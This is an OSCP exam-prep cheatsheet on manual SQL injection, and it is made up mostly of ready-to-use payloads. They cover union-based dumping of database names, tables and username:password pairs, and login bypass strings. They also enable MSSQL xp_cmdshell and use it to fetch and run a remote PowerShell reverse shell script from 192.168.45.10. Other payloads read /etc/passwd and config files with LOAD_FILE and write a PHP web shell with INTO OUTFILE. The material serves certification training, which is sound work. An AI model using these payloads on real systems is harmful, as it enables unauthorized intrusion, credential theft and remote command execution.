Web Security • Intermediate / OSCP Exam Core

OSCP SQL Injection Cheatsheet: Manual Exploitation & SQLmap Alternatives

Target Audience: Candidates taking OSCP where automated sqlmap exploitation is prohibited or strictly limited

> OffSec Exam Tactical Tip

Remember that SQLMap usage on the OSCP exam is strictly restricted (can only be used on 1 machine). Always master manual SQLi so you never burn your single tool allowance unnecessarily.

# Union-Based SQL Injection Step-by-Step

OffSec exams test your ability to manually locate injection points, determine column counts, and extract database contents without automated tools.

Terminal Commands / Payload

# 1. Determine Column Count
' ORDER BY 1-- -
' ORDER BY 5-- -
' ORDER BY 10-- -   (until error occurs)

# 2. Identify String Reflective Columns
' UNION SELECT 'a','b','c','d'-- -

# 3. Extract Database Name, User, and Version (MySQL/MariaDB)
' UNION SELECT 1, @@version, user(), database()-- -

# 4. Dump Table Names from information_schema
' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema=database()-- -

# 5. Dump Columns and Data
' UNION SELECT 1, group_concat(username,':',password), 3, 4 FROM users-- -

# MSSQL Exploitation to Remote Code Execution (RCE)

On Windows Active Directory machines, Microsoft SQL Server (MSSQL) is frequently encountered. Enabling xp_cmdshell provides direct command execution.

Terminal Commands / Payload

# 1. Stacked Queries to Enable Advanced Options and xp_cmdshell
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -

# 2. Execute OS Commands via xp_cmdshell
'; EXEC xp_cmdshell 'whoami';-- -

# 3. Trigger PowerShell Reverse Shell
'; EXEC xp_cmdshell 'powershell -c "iex(new-object net.webclient).downloadstring(\'http://192.168.45.10/shell.ps1\')"';-- -

# Manual Authentication Bypass & Reading Files

Bypassing login forms and leveraging SQL functions to read sensitive server configuration files.

Terminal Commands / Payload

# 1. Classic Login Authentication Bypass
admin' or '1'='1'-- -
' or 1=1 LIMIT 1-- -
" or 1=1-- -

# 2. Reading Server Files (MySQL LOAD_FILE)
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
' UNION SELECT 1, LOAD_FILE('C:\\xampp\\htdocs\\db.php'), 3, 4-- -

# 3. Writing Web Shell (MySQL INTO OUTFILE)
' UNION SELECT 1, '<?php system($_GET["cmd"]); ?>', 3, 4 INTO OUTFILE '/var/www/html/shell.php'-- -

Recommended Tools & Binaries

Burp Suite Repeater sqlmap (restricted usage) dbeaver NetExec